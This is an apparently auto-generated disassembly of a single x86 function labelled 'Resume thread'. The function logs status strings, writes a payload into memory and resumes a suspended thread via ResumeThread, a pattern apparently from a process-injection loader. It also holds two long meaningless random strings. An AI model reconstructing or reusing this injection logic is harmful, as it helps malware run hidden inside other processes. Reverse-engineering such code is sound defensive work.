Function at 0x4031b0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413030
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x4340a0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], 0
push str.START
mov ecx, dword [ebp - 0x18]
call fcn.00402a50
mov ecx, dword [ebp - 0x18]
call fcn.00402b50
cmp dword [0x436210], 0
je 0x4032b6
push str.LEIDO
mov ecx, dword [ebp - 0x18]
call fcn.00402a50
mov dword [ebp - 0x28], str.qVhhsaJjLDMU26uY6GHeeH9tIRyN1NRMySyXiJ95GdNK9nrGN0LvNp8Nm1b5yvJDxHbypEugagGwwAaMgNiYx9iruxfGEMDQs9TdydXbL0rs7SfBRDPKVN0xMdewKd3iA2zwtpBjLbAFkDB5i31mt2qpDeenHwNtqa7qR3ei82h91ztNnCyGwgAt6oUXRO5zEmvilHxSykbLvAq08Vf4tHkkXVwQ2omoasPRvH2XplBkyTnzOzU9EijGIFSxrQqn4kghU73ALTouo0x1T9w2jL3pySnmL3sBDNY22OJWrhYOFAsu0j6bFCQvlqYzc5UNoOk5kp6mTkpKxH3M0FJsT6R8FBgkimAl2fGGdjVhloeCyAulUUA7ae6xQilF8vBdt1wA1EUkFjEGKLmf4IWNvNlbSPVwetq6O3nP4muettp4D5ucQL6wYmfBs7kHwpPfojQVC8YS5LOK7x6zYLuJAehw0yoTrLVBHKFJTowjtBNEBwGmjrAefuHMz3zKRiaKtnBv4o3GmUPAVA9cUvXdQYFn23SH6UhSD9vSf5mjb6YcpCDm4Lhigl8qSsVaTUpQj5iVve4D19S6LJEMfWdrhVRckMToxMW9Oe03SlCfHvKJfl419QB2FUs7iXxyEjETICH6lGhRKboss51hChkP7bmHpwbGpvCTIjzfPk9npEbxxRYoN2j1hqPEYrKKmIfxMnQ7f59LAV452UPQWXC7M6YP4gJAzufS3URHpu3eUzz9YEGLyTm5dnGbo1cSwFIBQ12o7Vr2JBNDPP1VlJIe3hJNngMiam25JONX7uHA5BsmwpDIcjWhNvGYb3JiTVTftrKy736vHDO1qEGcdyqlRzW5C0Qiz1pJ13vKKeGt1jGdm5D3HlyVDLKFgcvzvwTNvNNtEsmmdHwpCtgAcDQUs79omfEjqA5lkSo5mTQ96tiYUSFMomSBAp24QiRzyG0S2vciouIYfKBdtBlgcskEif8EoYdkAt0DnR7edUk9UbAeTf1gKUT8JUXgkuqpBWMomddofFT34W05iDOFmIru6zU8KtLybknC8LzGQXsemJ8IeSb1ySPzr2cBp95pm56p6OoomMRp9KSWGnPt4q3BPWPeKdMuB0DwNCUd3VPqvHIu7KTROm8fhJFEYSUcQ6Yk3uuc9TRgdPGXqVMCXKdtJvoGWV3PtEuPOHxOP1k1KSqQY4eQOFuI7fwhfBlBkfMJjCyUgjnXh97yAAihWchLgApt8ExzFGSjTy6JvC2vGmykwfoh5pUO23cwBpWJh45wdSPVDy7byQ5mvXfRasQraOTLlCuVkI1V1WvvBrjFbqEIG0UGlqABnSlJKEDWtiFMkaSSpq5NxpLkIQM40vKGn2b4UlqoOEkWmTSSTnKxlDx2FiyUEO0pKJTwB1uPTXDUvCtFYXtYXuCA4miO6y5V8kM3mx3GKDxPoIFQrBeoxPhASkl0hUPN1Q0HljTgPljvOFCo2tN8P3jyAMoim6bTU7vGueoL22zmNUvFuxPJn39U3yveIk5zgG6moHtjKVgrzWBstvMRngLUCJ0VVPCwrWncmEFRMvDtzhhRBRVlJBJM6FzbKSVPN0OPqy6kqvjOooWtsQp74ybzJ1docIg0FHH2hkptnVbsSP8byu8fH5PgdDiDpFRRhK8HltSWP4w258qlnyS0EDYGIHsCN0aKPv1TLYlirsTMdQvDmBgIEfvCQDGFW3Bhwb9NmmcYgTfEIz5bUUHV8qRFE9kMD8HupH7KECrkQtKcgS1tlBshdc4oF91zRA5QBMkeSkFycv1AEobnXtAyI7JcRTJkQOrb7T2OYv0MJBVGXHzc1a3Gde4nEQNUYaxGUijjAJa1oEHWstfzG2xLV9NaTMOTP2eYUW5y27s9uLRuzklz9eEYNUiBXILtgPq51F2CofMWQml5WX3DvDLItbtJAUWsf09m3YLFndB8I5i7u4HBNW7rj4Pn2VXk1XsBMbE1tGVeORgBfiDH4AKNlcskYAMaXcxYXkU7ONpHjV8hspkyfKyzmJYdAWDKI9C5hhAygddVOI4pD7hahpeFMlFBpnbs8k0PoBy6n788oYzYqa6V1ij9OejUwtjkbe6ASHvBqbvqzFxAIjtDiUadi5iuq8h18mm5jGY6nEgQl66tAlbtTw0cM8Bw4tHQphmrbskITeTi7JLwk421x9OAA5L8QUuLDwHbVFJNnaxAMqnfpgXdVAt0EeVjE8RnEE8c0LdLQeNpGc5OxKXqFoDbEiMWK3qSwgoOJUBc9FXlBmn2Ap7ooUO30ABPWT4csWmHs6zNIiORLw3kG4yfBemEKTgBr8YNVjYVr2DsKoMkUxhO6AwvObq9HxbQUuLRz0h0Tc6a9NO0awvcmRk7tpYSmkn1uXicgDlJ1R74vQu17QxQ8OllYiRjSCrrJPLd2TlpU3Fs6oUqPbuMml3TH0I2chzlHDK09txFGxAJVMO9OrQD9oYSVr1NSEuQRa5g51gwmSuuIUuY2MnGNTKKWj3vhFw0auYnvfVpVpQqQbMFTGbSQP5oX3XalIBEXUWkgT19kbXnrvaMhPGN1bI38RHVNHbDa5RLsI5Us5WkijCPveHCcUxnAK4966lC1NSYlqMlaGKqVxMbk7hdy5tposFejOIbhexRoOQnfpaVzEP70YR4pGwAAvWLgmwMaLF0jF5qsnMf9DvLbBdjhLMJaaawuGyMk3pzYNkfvv2UfY9d03oHTpq31trkdjcrS0hrt0z04tdDeGFo4BOGfEG94fFdmgoSnO6566QdJJng6hz8pQejqCT094Eky2F8PX1CkXfQ5urJBNU9wBFfNos13hVX9H97JauOSsYdCHcabMm5l0xPT6QXwXVy9PvDYnl5Erk3Q7bPXl7phoz4vRC0g1UEkt0pYSIsJPAsagN6N1YxbpNxzRpFU5U17gv1wb4DswfVXnjweWmKlWCwegWW6yQsEgpUT3bVjrLnzwKLvIdfxcHUQe0amBqYN8IwRyak1xJ4hu1E4X2JgCtbgSXVWVdEV5xDErqnqSgYqoA3ND4EWpyc0R1AV9qVQFCrq4QCgCDOeGTnpFztv2tb3KB8eor6Ni8hQz64EnTCYajBk1GybyUsXXXhPQiQyBQs8kBpt0RIB2yLNXjDtaHesluiaNURQo8WFA4gvm0nHA9Ke8MtE8AhkLtMoLYIylTlThYTRBAbAGJ4TU3kFqo1v8eu1v4EOwo9cL5hiPekXcygAqmVRidt6j4uruy5rwoIpGp2LewmsLG5IeyQ5hxmoeqk42Hv1qinQWloqVdfGO2lrr4zB99YUONRd9yDKS4iiIziE95idth4BGStaVajn0LnaD0hD0exVp9fY40eyI1nK7AOWY2XGJ1z94LnirU3qJprdTTcadByankKBRxcX0gtoMo16lOHUE5GiSPGssg2MDQldpLRyNjy0Sft7qceWo9spgTBOE1kiBttkKawW75F6ew66QUeyrWQVihfzPJb1s42WftmTXx2JrhpvlpgdzcArgehYI7p4V6GxxN9koIhTVk4w8EJROR5Js5MiSGYbfC30yxmnsKqyRoS1VhUSrhkMbgdGAL3RahDGss5ndRSC9XMz3p26070MLhqiUzQgVfPpGC4SJkrWuoRseNaNllo8yFEdF5MimjUrWpEC9uimlPkFKMgKxitpS8yts8pvIP2vdzTyxO2DWjySrfd7WAOq9n86DoodQKhKH9qO3OAthD2uBFKzcdDbIcO0klzp3AzPVxwMO6mA5sqz56xd9sNT1uo7qjSKbqLOGra00j5zThuWea6zXWOXqe5gzrtFAVAfXUTdMeT10nb6T6SG4DQYprribHxg9nF45jWpmGltsTwevEb08OFNogtWsTvkhzwLBlbKUzlp4PLfTecr76IpRRxWlFSmQUxcm15BHSchrWeKxK4ndp33jyoWyslzjp1IsGNwVHCtTSp4lKJBT1o7cGcAzyGSAA99e27jS9Hlz5VcJk7qWw4g3FtqE4RU8D0Hk6rVNsVckOzRGaXylQ6jo290NXXYTex6CaQz0UchPdeuGvWamg5iLlzMN0e6oGCuiW3CJUJMubWcIcBTyjksKjqebL00CS0vKpl
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [0x436210]
push ecx
mov ecx, dword [ebp - 0x18]
call fcn.00402c70
mov byte [ebp - 0x11], al
movzx edx, byte [ebp - 0x11]
test edx, edx
je 0x4032a0
push str.SUMBITINMEMORY
mov ecx, dword [ebp - 0x18]
call fcn.00402a50
mov dword [ebp - 0x1c], 0
mov eax, dword [0x436228]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x40328d
mov dword [ebp - 0x2c], str.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
push str.NORUN
mov ecx, dword [ebp - 0x18]
call fcn.00402a50
mov eax, 0x12c
jmp 0x4032f9
push 0x422f14
mov ecx, dword [ebp - 0x18]
call fcn.00402a50
xor eax, eax
jmp 0x4032f9
push str.NOTSUMBITMEMORY
mov ecx, dword [ebp - 0x18]
call fcn.00402a50
mov eax, 0xc8
jmp 0x4032f9
push str.NOTREAD
mov ecx, dword [ebp - 0x18]
call fcn.00402a50
mov eax, 0x64
jmp 0x4032f9
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4